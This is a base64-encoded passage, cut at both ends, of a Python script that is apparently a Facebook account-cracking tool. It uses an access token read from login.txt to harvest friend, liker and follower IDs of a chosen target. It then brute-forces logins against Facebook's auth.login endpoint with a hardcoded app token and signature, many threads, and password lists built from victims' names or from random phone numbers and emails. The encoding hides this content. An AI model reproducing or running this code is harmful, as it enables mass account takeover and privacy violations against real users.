Z2luLnR4dCIsInIiKS5yZWFkKCkKICAgICAgICBvdHcgPSByZXF1ZXN0cy5nZXQoImh0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tL21lLz9hY2Nlc3NfdG9rZW49Iit0b2tldCkKICAgICAgICBhID0ganNvbi5sb2FkcyhvdHcudGV4dCkKICAgICAgICBuYW1hID0gYVsiZmlyc3RfbmFtZSJdCiAgICAgICAgdHRsID0gYVsiYmlydGhkYXkiXQogICAgICAgIGlkID0gYVsiaWQiXQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIHByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIiBFcnJvciA6ICVzIiVlKSkKICAgICAgICBsb2dzKCkKICAgIGlwID0gcmVxdWVzdHMuZ2V0KCJodHRwczovL2FwaS5pcGlmeS5vcmciKS50ZXh0CiAgICBvcy5zeXN0ZW0oImNsZWFyIikKICAgIGJhbm5lcigpCiAgICBwcmludCgobSsiXG4gWyIrcCsiIFdlbGNvbWUgVXNlciBcMDMzWzE7MzJtIituYW1hK20rIiBdIitwKSkKICAgIHByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0iK3ArIiBZb3VyIElEICAgICAgOiBcMDMzWzE7MzJtIitpZCkpCiAgICBwcmludCgocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIitwKyIgWW91ciBUVEwgICAgIDogXDAzM1sxOzMybSIrdHRsKSkKICAgIHByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0iK3ArIiBZb3VyIEpvaW5lZCAgOiBcMDMzWzE7MzJtIitkdXJhc2kpKQogICAgcHJpbnQoKHArIlxuIFsiK2srIjAxIitwKyJdIitwKyIgXDAzM1sxOzM0bUNyYWNrIElEIEZyb20gUHVibGljL0ZyaWVuZGxpc3QgIikpCiAgICBwcmludCgocCsiIFsiK2srIjAyIitwKyJdIitwKyIgXDAzM1sxOzMxbUNyYWNrIElEIEZyb20gTGlrZXJzIFBvc3QgIikpCiAgICBwcmludCgocCsiIFsiK2srIjAzIitwKyJdIitwKyIgXDAzM1sxOzMybUNyYWNrIElEIEZyb20gRm9sbG93ZXJzICIpKQogICAgcHJpbnQoKHArIiBbIitrKyIwNCIrcCsiXSIrcCsiIFwwMzNbMTszNW1DcmFjayBQaG9uZSBOdW1iZXIgIikpCiAgICBwcmludCgocCsiIFsiK2srIjA1IitwKyJdIitwKyIgXDAzM1sxOzMzbUNyYWNrIEVtYWlsICIpKQogICAgcHJpbnQoKHArIiBbIitrKyIwNiIrcCsiXSIrcCsiIFwwMzNbMTszNG1DaGVjayBPcHRpb24gQWNjb3VudCBDaGVja3BvaW50IFsgZXJyb3IgXSAgIikpCiAgICBwcmludCgocCsiIFsiK2srIjk5IitwKyJdIitwKyIgXDAzM1sxOzMxbVJlc3VsdCBDcmFjayAiKSkKICAgIHByaW50KChwKyIgWyIraysiMDAiK3ArIl0iK3ArIiBcMDMzWzE7MzJtTG9nb3V0ICIpKQogICAgY2hvb3NlX21lbnUoKQoKZGVmIGNob29zZV9tZW51KCk6CglyPWlucHV0KHArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIENob29zZTogIikKCWlmIHI9PSIiOgoJCXByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gRmlsbCBJbiBUaGUgQ29ycmVjdCIpKQoJCW1lbnUoKQoJZWxpZiByPT0iMSIgb3Igcj09IjAxIjoKCQlwdWJsaWsoKQoJZWxpZiByPT0iMiIgb3Igcj09IjAyIjoKCQlsaWtlcnMoKQoJZWxpZiByPT0iMyIgb3Igcj09IjAzIjoKCQlmb2xsb3coKQoJZWxpZiByPT0iNCIgb3Igcj09IjA0IjoKCQlyYW5kb21fbnVtYmVycygpCgllbGlmIHI9PSI1IiBvciByPT0iMDUiOgoJCXJhbmRvbV9lbWFpbCgpCgllbGlmIHI9PSI2IiBvciByPT0iMDYiOgoJCWNla19vcHNpKCkKCWVsaWYgcj09Ijk5IjoKCQlyZXNzKCkKCWVsaWYgcj09IjAiIG9yIHI9PSIwMCI6CgkJdHJ5OgoJCQlvcy5zeXN0ZW0oInJtIC1yZiBsb2dpbi50eHQiKQoJCQlleGl0KCkKCQlleGNlcHQgRXhjZXB0aW9uIGFzIGU6CgkJCXByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gRXJyb3IgJXMiJWUpKQoJZWxzZToKCQlwcmludCgocCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gV3JvbmcgSW5wdXQiKSkKCQltZW51KCkJCgpkZWYgcGlsaWhjcmFjayhmaWxlKToKICBwcmludCgiXG5cMDMzWzA7OTFtIFsgXDAzM1sxOzM3bVNlbGVjdCBNZXRob2RlIENyYWNrXDAzM1sxOzMxbSBdXDAzM1sxOzM3bSIpCiAgcHJpbnQoKHArIiBbIitrKyIwMSIrcCsiXSBcMDMzWzE7MzJtQ3JhY2sgV2l0aCBBcGkuRmFjZWJvb2sgWyAxMSBQYXNzd29yZCBdIikpCiAgcHJpbnQoKHArIiBbIitrKyIwMiIrcCsiXSBcMDMzWzE7MzFtQ3JhY2sgV2l0aCBBcGkuRmFjZWJvb2sgKyBUVEwgWyA2IFBhc3N3b3JkIF0iKSkKICBwcmludCgocCsiIFsiK2srIjAzIitwKyJdIFwwMzNbMTszNW1DcmFjayBXaXRoIE1iYXNpYy5GYWNlYm9vayBbIDYgUGFzc3dvcmQgXSIpKQogIHByaW50KChwKyIgWyIraysiMDQiK3ArIl0gXDAzM1sxOzM0bUNyYWNrIFdpdGggTWJhc2ljLkZhY2Vib29rICsgWyA5IFBhc3N3b3JkIF0gVFRMIikpCiAgcHJpbnQoKHArIiBbIitrKyIwNSIrcCsiXSBcMDMzWzE7MzJtQ3JhY2sgV2l0aCBUb3VjaC5GYWNlYm9vayBbIDkgUGFzc3dvcmQgXSIpKQogIHByaW50KChwKyIgWyIraysiMDYiK3ArIl0gXDAzM1sxOzMzbUNyYWNrIFdpdGggVG91Y2guRmFjZWJvb2sgKyBUVEwgWyAxMSBQYXNzd29yZCBdIikpCiAgcHJpbnQoKHArIiBbIitrKyIwNyIrcCsiXSBcMDMzWzE7MzJtQ3JhY2sgV2l0aCBNLkZhY2Vib29rIFsgMTEgUGFzc3dvcmQgXSIpKQogIHByaW50KChwKyIgWyIraysiMDgiK3ArIl0gXDAzM1sxOzMybUNyYWNrIFdpdGggTS5GYWNlYm9vayArIFRUTCBbIDYgUGFzc3dvcmQgXSIpKQogIHByaW50KChwKyIgWyIraysiMDkiK3ArIl0gXDAzM1sxOzMybUNyYWNrIFdpdGggRnJlZS5GYWNlYm9vayBbIDYgUGFzc3dvcmQgXSIpKQogIHByaW50KChwKyIgWyIraysiMTAiK3ArIl0gXDAzM1sxOzMybUNyYWNrIFdpdGggRnJlZS5GYWNlYm9vayArIFRUTCBbIDkgUGFzc3dvcmQgXSIpKQogIHByaW50KChwKyIgWyIraysiMDAiK3ArIl0gXDAzM1sxOzM1bUJhY2sgVG8gTWVudSAiKSkKICBrcmFoPWlucHV0KHArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIENob29zZSA6ICIpCiAgaWYga3JhaCBpblsiIl06CiAgICBwcmludCgocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEZpbGwgSW4gVGhlIENvcnJlY3QiKSkKICAgIHBpbGloY3JhY2soZmlsZSkKICBlbGlmIGtyYWggaW5bIjEiLCIwMSJdOgogICAgYmFwaShmaWxlKQogIGVsaWYga3JhaCBpblsiMiIsIjAyIl06CiAgICBiYXBpdHRsKGZpbGUpCiAgZWxpZiBrcmFoIGluWyIzIiwiMDMiXToKICAgIGNyYWNrKGZpbGUpCiAgZWxpZiBrcmFoIGluWyI0IiwiMDQiXToKICAgIGNyYWNrdHRsKGZpbGUpCiAgZWxpZiBrcmFoIGluWyI1IiwiMDUiXToKICAgIHRvZmJlKGZpbGUpCiAgZWxpZiBrcmFoIGluWyI2IiwiMDYiXToKICAgIHRvZmJldHRsKGZpbGUpCiAgZWxpZiBrcmFoIGluWyI3IiwiMDciXToKICAgIGNyZWttKGZpbGUpCiAgZWxpZiBrcmFoIGluWyI4IiwiMDgiXToKICAgIGNyZWttdHRsKGZpbGUpCiAgZWxpZiBrcmFoIGluWyI5IiwiMDkiXToKICAgIGZyZWVmYihmaWxlKQogIGVsaWYga3JhaCBpblsiMTAiXToKICAgIGZyZWVmYnR0bChmaWxlKQogIGVsaWYga3JhaCBpblsiMCIsIjAwIl06CiAgICBtZW51KCkKICBlbHNlOgogICAgcHJpbnQoKHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSAgRmlsbCBJbiBUaGUgQ29ycmVjdCIpKQogICAgcGlsaWhjcmFjayhmaWxlKQoKIyMjIERVTVAgSUQgIyMjCgpkZWYgcHVibGlrKCk6Cgl0cnk6CgkJdG9rZXQ9b3BlbigibG9naW4udHh0IiwiciIpLnJlYWQoKQoJZXhjZXB0IElPRXJyb3I6CgkJcHJpbnQoKHArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIENvb2tpZS9Ub2tlbiBJbnZhbGlkIikpCgkJb3Muc3lzdGVtKCJybSAtcmYgbG9naW4udHh0IikKCQlsb2dzKCkKCXRyeToKCQlwcmludCgocCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gVHlwZSBcJ21lXCcgRHVtcCBGcm9tIEZyaWVuZGxpc3QiKSkKCQlpZHQgPSBpbnB1dChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gVXNlciBJRCBUYXJnZXQ6ICIpCgkJdHJ5OgoJCQlqb2sgPSByZXF1ZXN0cy5nZXQoImh0dHBzOi8vZ3JhcGguZmFjZWJvb2suY29tLyIraWR0KyI/YWNjZXNzX3Rva2VuPSIrdG9rZXQpCgkJCW9wID0ganNvbi5sb2Fkcyhqb2sudGV4dCkKCQkJcHJpbnQoKHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBOYW1lOiAiK29wWyJuYW1lIl0pKQoJCWV4Y2VwdCBLZXlFcnJvcjoKCQkJcHJpbnQoKHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBJRCBOb3QgRm91bmQiKSkKCQkJcHJpbnQoKHArIlxuIFtCQUNLXSIrcCkpCgkJCW1lbnUoKQoJCXI9cmVxdWVzdHMuZ2V0KCJodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS8iK2lkdCsiL2ZyaWVuZHM/bGltaXQ9MTAwMDAmYWNjZXNzX3Rva2VuPSIrdG9rZXQpCgkJaWQgPSBbXQoJCXo9anNvbi5sb2FkcyhyLnRleHQpCgkJcXEgPSAob3BbImZpcnN0X25hbWUiXSsiLmpzb24iKS5yZXBsYWNlKCIgIiwiXyIpCgkJeXMgPSBvcGVuKHFxICwgInciKSMucmVwbGFjZSgiICIsIl8iKQoJCWZvciBhIGluIHpbImRhdGEiXToKCQkJaWQuYXBwZW5kKGFbImlkIl0rIjw9PiIrYVsibmFtZSJdKQoJCQl5cy53cml0ZShhWyJpZCJdKyI8PT4iK2FbIm5hbWUiXSsiXG4iKQoJCXlzLmNsb3NlKCkKCQlwcmludCgocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIFRvdGFsIElEIDogJXMiJShsZW4oaWQpKSkpCgkJcmV0dXJuIHBpbGloY3JhY2socXEpCglleGNlcHQgRXhjZXB0aW9uIGFzIGU6CgkJZXhpdChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBFcnJvciA6ICVzIiVlKQoKZGVmIGxpa2VycygpOgoJdHJ5OgoJCXRva2V0PW9wZW4oImxvZ2luLnR4dCIsInIiKS5yZWFkKCkKCWV4Y2VwdCBJT0Vycm9yOgoJCXByaW50KChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDb29raWUvVG9rZW4gSW52YWxpZCIpKQoJCW9zLnN5c3RlbSgicm0gLXJmIGxvZ2luLnR4dCIpCgkJbG9ncygpCgl0cnk6CgkJaWR0ID0gaW5wdXQocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIElEIFBvc3QgVGFyZ2V0OiAiKQoJCXRyeToKCQkJam9rID0gcmVxdWVzdHMuZ2V0KCJodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS8iK2lkdCsiP2FjY2Vzc190b2tlbj0iK3Rva2V0KQoJCQlvcCA9IGpzb24ubG9hZHMoam9rLnRleHQpCgkJCXByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gTmFtZTogIitvcFsibmFtZSJdKSkKCQlleGNlcHQgS2V5RXJyb3I6CgkJCXByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gSUQgTm90IEZvdW5kIikpCgkJCXByaW50KChwKyJcbiBbQkFDS10iK3ApKQoJCQltZW51KCkKCQlyPXJlcXVlc3RzLmdldCgiaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vIitpZHQrIi9saWtlcz9saW1pdD0xMDAwMDAmYWNjZXNzX3Rva2VuPSIrdG9rZXQpCgkJaWQgPSBbXQoJCXo9anNvbi5sb2FkcyhyLnRleHQpCgkJcXEgPSAob3BbImZpcnN0X25hbWUiXSsiLmpzb24iKS5yZXBsYWNlKCIgIiwiXyIpCgkJeXMgPSBvcGVuKHFxICwgInciKSMucmVwbGFjZSgiICIsIl8iKQoJCWZvciBhIGluIHpbImRhdGEiXToKCQkJaWQuYXBwZW5kKGFbImlkIl0rIjw9PiIrYVsibmFtZSJdKQoJCQl5cy53cml0ZShhWyJpZCJdKyI8PT4iK2FbIm5hbWUiXSsiXG4iKQoJCXlzLmNsb3NlKCkKCQlwcmludCgocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIFRvdGFsIElEIDogJXMiJShsZW4oaWQpKSkpCgkJcmV0dXJuIHBpbGloY3JhY2socXEpCglleGNlcHQgRXhjZXB0aW9uIGFzIGU6CgkJZXhpdChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBFcnJvciA6ICVzIiVlKQoKZGVmIGZvbGxvdygpOgoJdHJ5OgoJCXRva2V0PW9wZW4oImxvZ2luLnR4dCIsInIiKS5yZWFkKCkKCWV4Y2VwdCBJT0Vycm9yOgoJCXByaW50KChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDb29raWUvVG9rZW4gSW52YWxpZCIpKQoJCW9zLnN5c3RlbSgicm0gLXJmIGxvZ2luLnR4dCIpCgkJbG9ncygpCgl0cnk6CgkJaWR0ID0gaW5wdXQocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEZvbGxvd2VycyBJRCBUYXJnZXQgOiAiKQoJCXRyeToKCQkJam9rID0gcmVxdWVzdHMuZ2V0KCJodHRwczovL2dyYXBoLmZhY2Vib29rLmNvbS8iK2lkdCsiP2FjY2Vzc190b2tlbj0iK3Rva2V0KQoJCQlvcCA9IGpzb24ubG9hZHMoam9rLnRleHQpCgkJCXByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gTmFtZTogIitvcFsibmFtZSJdKSkKCQlleGNlcHQgS2V5RXJyb3I6CgkJCXByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gSUQgTm90IEZvdW5kIikpCgkJCXByaW50KChwKyJcbiBbQkFDS10iK3ApKQoJCQltZW51KCkKCQlyPXJlcXVlc3RzLmdldCgiaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vIitpZHQrIi9zdWJzY3JpYmVycz9saW1pdD0yMDAwMCZhY2Nlc3NfdG9rZW49Iit0b2tldCkKCQlpZCA9IFtdCgkJej1qc29uLmxvYWRzKHIudGV4dCkKCQlxcSA9IChvcFsiZmlyc3RfbmFtZSJdKyIuanNvbiIpLnJlcGxhY2UoIiAiLCJfIikKCQl5cyA9IG9wZW4ocXEgLCAidyIpIy5yZXBsYWNlKCIgIiwiXyIpCgkJZm9yIGEgaW4gelsiZGF0YSJdOgoJCQlpZC5hcHBlbmQoYVsiaWQiXSsiPD0+IithWyJuYW1lIl0pCgkJCXlzLndyaXRlKGFbImlkIl0rIjw9PiIrYVsibmFtZSJdKyJcbiIpCgkJeXMuY2xvc2UoKQoJCXByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gVG90YWwgSUQgOiAlcyIlKGxlbihpZCkpKSkKCQlyZXR1cm4gcGlsaWhjcmFjayhxcSkKCWV4Y2VwdCBFeGNlcHRpb24gYXMgZToKCQlleGl0KHArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEVycm9yIDogJXMiJWUpCgojIyMgS3JlayBOb21lciBzdSEgIyMjCmRlZiByYW5kb21fbnVtYmVycygpOgogIGRhdGEgPSBbXQogIHByaW50KChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBOdW1iZXIgTXVzdCBCZSA1IERpZ2l0IikpCiAga29kZT1zdHIoaW5wdXQocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEV4YW1wbGUgOiA5MjAzN1xuIitwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gSW5wdXQgTnVtYmVyOiAiKSkKICBleGl0KChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBOdW1iZXIgTXVzdCBCZSA1IERpZ2l0IikpIGlmIGxlbihrb2RlKSA8IDUgZWxzZSAnJwogIGV4aXQoKHArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIE51bWJlciBNdXN0IEJlIDUgRGlnaXQiKSkgaWYgbGVuKGtvZGUpID4gNSBlbHNlICcnCiAgam1sPWludChpbnB1dChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gQW1vdW50IDogIikpCiAgW2RhdGEuYXBwZW5kKHsndXNlcic6IHN0cihlKSwgJ3B3Jzpbc3RyKGVbNTpdKSwgc3RyKGVbNjpdKV19KSBmb3IgZSBpbiBbc3RyKGtvZGUpKycnLmpvaW4oWyclcyclKHJhbmRpbnQoMCw5KSkgZm9yIGkgaW4gcmFuZ2UoMCw3KV0pIGZvciBlIGluIHJhbmdlKGptbCldXQogIHByaW50KHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDcmFjayBTdGFydGVkLCBQbGVhc2UgV2FpdC4uLlxuIikKICB3aXRoIGNvbmN1cnJlbnQuZnV0dXJlcy5UaHJlYWRQb29sRXhlY3V0b3IobWF4X3dvcmtlcnM9MTUpIGFzIHRoOgogICAge3RoLnN1Ym1pdChicnV0ZSwgdXNlclsndXNlciddLCB1c2VyWydwdyddKTogdXNlciBmb3IgdXNlciBpbiBkYXRhfQogIGlucHV0KHArIlxuIFtCQUNLXSIrcCkKICBtZW51KCkKCmRlZiByYW5kb21fZW1haWwoKToKICBkYXRhID0gW10KICBuYW1hPWlucHV0KHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBUYXJnZXQgTmFtZSA6ICIpCiAgZG9tYWluPWlucHV0KHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDaG9vc2UgRG9tYWluIFtHXW1haWwsIFtZXWFob28sIFtIXW90bWFpbCA6ICIpLmxvd2VyKCkuc3RyaXAoKQogIGxpc3Q9ewogICAgJ2cnOidAZ21haWwuY29tJywKICAgICd5JzonQHlhaG9vLmNvbScsCiAgICAnaCc6J0Bob3RtYWlsLmNvbScKICB9CiAgZXhpdCgoIlwwMzNbMTszN20gWyIraysi4oCiIittKyLigKIiK3ArIl0gRmlsbCBJbiBUaGUgQ29ycmVjdCIpKSBpZiBub3QgZG9tYWluIGluIFsnZycsJ3knLCdoJ10gZWxzZSAnJwogIGptbD1pbnQoaW5wdXQocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEFtb3VudCA6ICIpKQogIHNldHB3PWlucHV0KHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBTZXQgUGFzc3dvcmQgOiAiKS5zcGxpdCgnLCcpCiAgcHJpbnQoIlwwMzNbMTszN20gWyIraysi4oCiIittKyLigKIiK3ArIl0gQ3JhY2sgU3RhcnRlZCwgUGxlYXNlIFdhaXQuLi5cbiIpCiAgW2RhdGEuYXBwZW5kKHsndXNlcic6IG5hbWErc3RyKGUpK2xpc3RbZG9tYWluXSwgJ3B3JzpbKGkpIGZvciBpIGluIHNldHB3XX0pIGZvciBlIGluIHJhbmdlKDEsam1sKzEpXQogIHdpdGggY29uY3VycmVudC5mdXR1cmVzLlRocmVhZFBvb2xFeGVjdXRvcihtYXhfd29ya2Vycz0xNSkgYXMgdGg6CiAgICB7dGguc3VibWl0KGJydXRlLCB1c2VyWyd1c2VyJ10sIHVzZXJbJ3B3J10pOiB1c2VyIGZvciB1c2VyIGluIGRhdGF9CiAgaW5wdXQoIlxuXDAzM1sxOzM3bSBbQkFDS10iKQogIG1lbnUoKQoKZGVmIGJydXRlKHVzZXIsIHBhc3NzKToKICB0cnk6CiAgICBmb3IgcHcgaW4gcGFzc3M6CiAgICAgIHBhcmFtcz17CiAgICAgICAgJ2FjY2Vzc190b2tlbic6ICczNTA2ODU1MzE3MjglN0M2MmY4Y2U5Zjc0YjEyZjg0YzEyM2NjMjM0MzdhNGEzMicsCiAgICAgICAgJ2Zvcm1hdCc6ICdKU09OJywKICAgICAgICAnc2RrX3ZlcnNpb24nOiAnMicsCiAgICAgICAgJ2VtYWlsJzogdXNlciwKICAgICAgICAnbG9jYWxlJzogJ2VuX1VTJywKICAgICAgICAncGFzc3dvcmQnOiBwdywKICAgICAgICAnc2RrJzogJ2lvcycsCiAgICAgICAgJ2dlbmVyYXRlX3Nlc3Npb25fY29va2llcyc6ICcxJywKICAgICAgICAnc2lnJzogJzNmNTU1Zjk5ZmI2MWZjZDdhYTBjNDRmNThmNTIyZWY2JywKICAgICAgfQogICAgICBhcGk9J2h0dHBzOi8vYi1hcGkuZmFjZWJvb2suY29tL21ldGhvZC9hdXRoLmxvZ2luJwogICAgICByZXNwb25zZT1yZXF1ZXN0cy5nZXQoYXBpLCBwYXJhbXM9cGFyYW1zKQogICAgICBpZiByZS5zZWFyY2goJyhFQUFBKVx3KycsIHN0cihyZXNwb25zZS50ZXh0KSk6CiAgICAgICAgcHJpbnQoJ1x4MWJbMDszMm0gKiAtLT4gJXMg4oCiICVzICclKHN0cih1c2VyKSwgc3RyKHB3KSkpCiAgICAgICAgYnJlYWsKICAgICAgZWxpZiAnd3d3LmZhY2Vib29rLmNvbScgaW4gcmVzcG9uc2UuanNvbigpWydlcnJvcl9tc2cnXToKICAgICAgICBwcmludCgnXHgxYlswOzMzbSAqIC0tPiAlcyDigKIgJXMgJyUoc3RyKHVzZXIpLCBzdHIocHcpKSkKICAgICAgICBicmVhawogIGV4Y2VwdDogcGFzcwoKCiMjIyBQQVNTV09SRCAjIyMKCmRlZiBnZW5lcmF0ZTEoX2NpY2lfKToKICAgIF9kYXB1bnRhXz1bXQogICAgZm9yIGkgaW4gX2NpY2lfLnNwbGl0KCIgIik6CiAgICAgICAgaWYgbGVuKGkpPDM6CiAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgZWxzZToKICAgICAgICAgICAgaT1pLmxvd2VyKCkKICAgICAgICAgICAgaWYgbGVuKGkpPT0zIG9yIGxlbihpKT09NCBvciBsZW4oaSk9PTU6CiAgICAgICAgICAgICAgICBfZGFwdW50YV8uYXBwZW5kKGkrIjEyMyIpCiAgICAgICAgICAgICAgICBfZGFwdW50YV8uYXBwZW5kKGkrIjEyMzQ1IikKICAgICAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiMTIzNCIpCiAgICAgICAgICAgICAgICBfZGFwdW50YV8uYXBwZW5kKGkrIjc4NiIpCiAgICAgICAgICAgICAgICBfZGFwdW50YV8uYXBwZW5kKGkrIjExMjIiKQogICAgICAgICAgICBlbGlmIGxlbihpKT49NjoKICAgICAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSkKICAgICAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiMTIzIikKICAgICAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiMTIzNDUiKQogICAgICAgICAgICAgICAgX2RhcHVudGFfLmFwcGVuZChpKyIxMjM0IikKICAgICAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiNzg2IikKICAgICAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiMTEyMiIpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBjb250aW51ZQogICAgX2RhcHVudGFfLmFwcGVuZChfY2ljaV8ubG93ZXIoKSkKICAgIHJldHVybiBfZGFwdW50YV8KZGVmIGdlbmVyYXRlMihfY2ljaV8pOgogICAgX2RhcHVudGFfPVtdCiAgICBmb3IgaSBpbiBfY2ljaV8uc3BsaXQoIiAiKToKICAgICAgICBpZiBsZW4oaSk8MzoKICAgICAgICAgICAgY29udGludWUKICAgICAgICBlbHNlOgogICAgICAgICAgICBpPWkubG93ZXIoKQogICAgICAgICAgICBpZiBsZW4oaSk9PTMgb3IgbGVuKGkpPT00IG9yIGxlbihpKT09NToKICAgICAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiMTIzIikKICAgICAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiMTIzNDUiKQogICAgICAgICAgICAgICAgX2RhcHVudGFfLmFwcGVuZChpKyIxMjM0IikKICAgICAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiMTEyMiIpCiAgICAgICAgICAgICAgICBfZGFwdW50YV8uYXBwZW5kKGkrIjc4NiIpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBfZGFwdW50YV8uYXBwZW5kKGkpCiAgICAgICAgICAgICAgICBfZGFwdW50YV8uYXBwZW5kKGkrIjEyMyIpCiAgICAgICAgICAgICAgICBfZGFwdW50YV8uYXBwZW5kKGkrIjEyMzQ1IikKICAgICAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiMTIzNCIpCiAgICAgICAgICAgICAgICBfZGFwdW50YV8uYXBwZW5kKGkrIjExMjIiKQogICAgICAgICAgICAgICAgX2RhcHVudGFfLmFwcGVuZChpKyI3ODYiKQogICAgX2RhcHVudGFfLmFwcGVuZChfY2ljaV8ubG93ZXIoKSkKICAgIF9kYXB1bnRhXy5hcHBlbmQoInNheWFuZyIpCiAgICBfZGFwdW50YV8uYXBwZW5kKCJiYW5nc2F0IikKICAgIF9kYXB1bnRhXy5hcHBlbmQoImFuamluZyIpCiAgICByZXR1cm4gX2RhcHVudGFfCmRlZiBnZW5lcmF0ZTMoX2NpY2lfKToKICAgIF9kYXB1bnRhXz1bXQogICAgZm9yIGkgaW4gX2NpY2lfLnNwbGl0KCIgIik6CiAgICAgICAgaWYgbGVuKGkpPDM6CiAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgZWxzZToKICAgICAgICAgICAgaT1pLmxvd2VyKCkKICAgICAgICAgICAgaWYgbGVuKGkpPT0zIG9yIGxlbihpKT09NCBvciBsZW4oaSk9PTU6CiAgICAgICAgICAgICAgICBfZGFwdW50YV8uYXBwZW5kKGkrIjEyMyIpCiAgICAgICAgICAgICAgICBfZGFwdW50YV8uYXBwZW5kKGkrIjEyMzQ1IikKICAgICAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiMTIzNCIpCiAgICAgICAgICAgICAgICBfZGFwdW50YV8uYXBwZW5kKGkrIjExMjIiKQogICAgICAgICAgICAgICAgX2RhcHVudGFfLmFwcGVuZChpKyI3ODYiKQogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgX2RhcHVudGFfLmFwcGVuZChpKQogICAgICAgICAgICAgICAgX2RhcHVudGFfLmFwcGVuZChpKyIxMjMiKQogICAgICAgICAgICAgICAgX2RhcHVudGFfLmFwcGVuZChpKyIxMjM0NSIpCiAgICAgICAgICAgICAgICBfZGFwdW50YV8uYXBwZW5kKGkrIjEyMzQiKQogICAgICAgICAgICAgICAgX2RhcHVudGFfLmFwcGVuZChpKyIxMTIyIikKICAgICAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiNzg2IikKICAgIF9kYXB1bnRhXy5hcHBlbmQoX2NpY2lfLmxvd2VyKCkpCiAgICBfZGFwdW50YV8uYXBwZW5kKCJtZW1layIpCiAgICBfZGFwdW50YV8uYXBwZW5kKCJrb250b2wiKQogICAgX2RhcHVudGFfLmFwcGVuZCgibmdlbnRvdCIpCiAgICBfZGFwdW50YV8uYXBwZW5kKCJnb2Jsb2siKQogICAgX2RhcHVudGFfLmFwcGVuZCgiYW5qaW5nIikKICAgIF9kYXB1bnRhXy5hcHBlbmQoInNheWFuZyIpCiAgICByZXR1cm4gX2RhcHVudGFfCmRlZiBnZW5lcmF0ZTQoX2NpY2lfKToKICAgIF9kYXB1bnRhXz1bXQogICAgcHMgPSBvcGVuKCdwYXNzLnR4dCcsJ3InKS5yZWFkKCkKICAgIHBwID0gb3BlbigncGFzc2FuZ2thLnR4dCcsJ3InKS5yZWFkKCkKICAgIGZvciBpIGluIF9jaWNpXy5zcGxpdCgiICIpOiAgCiAgICAgICAgaT1pLmxvd2VyKCkKICAgICAgICBpZiBsZW4oaSk8Mzpjb250aW51ZQogICAgICAgIGVsaWYgbGVuKGkpPT0zIG9yIGxlbihpKT09NCBvciBsZW4oaSk9PTU6CiAgICAgICAgICAgIF9kYXB1bnRhXy5hcHBlbmQoaSsiMTIzIikKICAgICAgICAgICAgX2RhcHVudGFfLmFwcGVu